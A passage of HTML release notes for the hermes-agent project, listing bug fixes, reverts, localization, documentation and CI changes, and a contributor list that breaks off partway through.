<li><strong>SQLite: fall back to <code>journal_mode=DELETE</code> on NFS/SMB/FUSE</strong> (fixes <code>/resume</code> on network mounts) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22043/hovercard">#22043</a>)</li>
<li><strong>Codex-runtime: retire wedged sessions + post-tool watchdog + OAuth refresh classify</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25769/hovercard">#25769</a>)</li>
<li><strong>Codex-runtime: de-dup <code>[plugins.X]</code> tables and stop leaking HERMES_HOME</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452637433" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26250" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/26250/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/26250">#26250</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26260/hovercard">#26260</a>)</li>
<li><strong>Daytona: migrate legacy-sandbox lookup to cursor-based <code>list()</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24587/hovercard">#24587</a>)</li>
<li><strong>MCP: stop retrying initial MCP auth failures</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445105387" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25624/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25624">#25624</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25776" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25776/hovercard">#25776</a>)</li>
<li><strong>Gateway: enable text-intercept for multi-choice clarify fallback</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4444770745" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25587/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25587">#25587</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25778/hovercard">#25778</a>)</li>
<li><strong>Gateway: keep running when platforms fail; per-platform circuit breaker + <code>/platform</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26600" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26600/hovercard">#26600</a>)</li>
<li><strong>Delegate: salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4407521894" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21933" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/21933/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/21933">#21933</a> JSON-string batch + diagnostic logging</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22436" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22436/hovercard">#22436</a>)</li>
<li><strong>Profiles+banner: exclude infrastructure from <code>--clone-all</code> + fix stale update-check repo resolution</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22475" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22475/hovercard">#22475</a>)</li>
<li><strong>ACP: inline file attachment resources</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400211653" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21400/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21400">#21400</a> + image support) (<a href="https://github.com/NousResearch/hermes-agent/pull/21407" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21407/hovercard">#21407</a>)</li>
<li><strong>CI: unblock shared PR checks</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21012/hovercard">#21012</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25957/hovercard">#25957</a>)</li>
</ul>
<h3>Notable reverts in window</h3>
<ul>
<li><strong><code>/goal</code> checklist + /subgoal feature stack</strong> — rolled back (<a href="https://github.com/NousResearch/hermes-agent/pull/23813" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23813/hovercard">#23813</a>); <code>/subgoal</code> returned in simpler form via <a href="https://github.com/NousResearch/hermes-agent/pull/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard">#25449</a></li>
<li><strong>Scrollback box width clamp</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4449744090" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25975" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25975/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25975">#25975</a>) rolled back to restore full-width borders (<a href="https://github.com/NousResearch/hermes-agent/pull/26163" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26163/hovercard">#26163</a>)</li>
<li><strong><code>fix(cli): tolerate unreadable dirs when building systemd PATH</code></strong> rolled back</li>
</ul>
<hr>
<h2>🌍 i18n</h2>
<ul>
<li><strong>Localize all gateway commands + web dashboard, add 8 new locales (16 total)</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22914" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22914/hovercard">#22914</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong>Repair Voice &amp; TTS provider table</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nightcityblade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nightcityblade">@nightcityblade</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425548878" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/24101" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/24101/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/24101">#24101</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24138" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24138/hovercard">#24138</a>)</li>
<li><strong>Show per-skill pages in the left sidebar</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26646" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26646/hovercard">#26646</a>)</li>
<li><strong>Mention Weixin in gateway help and docstrings</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4396673114" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21063/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21063">#21063</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wuwuzhijing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wuwuzhijing">@wuwuzhijing</a>)</li>
<li><strong>Richer info panels on the Skills Hub</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22905" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22905/hovercard">#22905</a>)</li>
<li>Many more doc updates across providers, platforms, skills, Windows install paths, and dashboard.</li>
</ul>
<hr>
<h2>🧪 Testing &amp; CI</h2>
<ul>
<li><strong>Unblock shared PR checks</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21012/hovercard">#21012</a>)</li>
<li><strong>Stabilize shared test state after 21012</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25957/hovercard">#25957</a>)</li>
<li>A long tail of test additions for platforms, providers, plugins, and edge cases — 8 explicit <code>test:</code> PRs plus ~250 fix PRs that also added regression coverage.</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead, architecture, ~406 PRs merged in window</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong> — 38 PRs · Telegram cadence/streaming/topic routing, security hardening (sudo, SSRF, kanban_comment, dashboard auth), codex-runtime hygiene, NovitaAI provider, profile/banner fixes, Feishu update cards, gateway QOL across the board</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a></strong> — 13 PRs · Markdown-table TUI rendering, <code>HERMES_SESSION_ID</code> env var, hindsight-client optional dep, Nix <code>extraDependencyGroups</code></li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a></strong> (Brooklyn Nicholson) — 12 PRs · TUI turn segmentation, attach-to-gateway, markdown link titles, embedded TUI via dashboard gateway, Ink cursor sync, scroll/Esc during prompts</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a></strong> — 8 PRs · <code>/sessions</code> slash command, personality switching preserves session, cron modals, dashboard analytics</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a></strong> — 5 PRs · Google Chat setup, browser install skip on system chromium, Windows Ctrl+C preservation</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a></strong> — 4 PRs · Nous Portal as model metadata authority, provider polish</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a></strong> — 3 PRs · CI stabilization</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a></strong> — 3 PRs · platform/gateway work</li>
</ul>
<h3>All contributors (alphabetical)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/02356abc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/02356abc">@02356abc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xharryriddle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xharryriddle">@0xharryriddle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1000Delta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1000Delta">@1000Delta</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1RB/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1RB">@1RB</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/29206394/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/29206394">@29206394</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/A-kamal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/A-kamal">@A-kamal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aashizpoudel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aashizpoudel">@aashizpoudel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Abd0r/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Abd0r">@Abd0r</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AgentArcLab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AgentArcLab">@AgentArcLab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ahmedbadr3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ahmedbadr3">@ahmedbadr3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alblez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alblez">@alblez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alex-yang00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alex-yang00">@Alex-yang00</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ALIYILD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ALIYILD">@ALIYILD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AllynSheep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AllynSheep">@AllynSheep</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amathxbt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amathxbt">@amathxbt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amethystani/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amethystani">@amethystani</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ArecaNon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ArecaNon">@ArecaNon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Arkmusn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Arkmusn">@Arkmusn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/askclaw-vesper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/askclaw-vesper">@askclaw-vesper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AsoTora/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AsoTora">@AsoTora</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayushere/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayushere">@ayushere</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baocin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baocin">@baocin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BennetYrWang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BennetYrWang">@BennetYrWang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bihruze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bihruze">@Bihruze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>,<br>
@brooklynnicholson, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/btorresgil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/btorresgil">@btorresgil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buntingszn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buntingszn">@buntingszn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CalmProton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CalmProton">@CalmProton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chrisworksai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chrisworksai">@chrisworksai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CoinTheHat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CoinTheHat">@CoinTheHat</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dandacompany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dandacompany">@dandacompany</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dangooy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dangooy">@Dangooy</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DanielLSM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DanielLSM">@DanielLSM</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/David-0x221Eight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/David-0x221Eight">@David-0x221Eight</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddupont808/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddupont808">@ddupont808</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dhruv-saxena/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dhruv-saxena">@dhruv-saxena</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/diablozzc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/diablozzc">@diablozzc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlkakbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlkakbs">@dlkakbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmahan93/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmahan93">@dmahan93</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmnkhorvath/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmnkhorvath">@dmnkhorvath</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/domtriola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/domtriola">@domtriola</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donrhmexe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donrhmexe">@donrhmexe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eloklam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eloklam">@eloklam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ephron-ren/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ephron-ren">@ephron-ren</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErenKarakus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErenKarakus">@ErenKarakus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EthanGuo-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EthanGuo-coder">@EthanGuo-coder</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evgyur/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evgyur">@evgyur</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/explainanalyze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/explainanalyze">@explainanalyze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fahdad/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fahdad">@fahdad</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fr33d3m0n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fr33d3m0n">@fr33d3m0n</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/Freeman-Consulting/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Freeman-Consulting">@Freeman-Consulting</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/freqyfreqy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/freqyfreqy">@freqyfreqy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fu576/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fu576">@fu576</a>, @github-actions[bot], <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnanirahulnutakki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnanirahulnutakki">@gnanirahulnutakki</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guglielmofonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guglielmofonda">@guglielmofonda</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hanzckernel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hanzckernel">@hanzckernel</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hekaru-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hekaru-agent">@hekaru-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenkDz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenkDz">@HenkDz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HiddenPuppy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HiddenPuppy">@HiddenPuppy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hllqkb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hllqkb">@hllqkb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hrygo/hovercard" data-octo-click="hovercard-link-click" 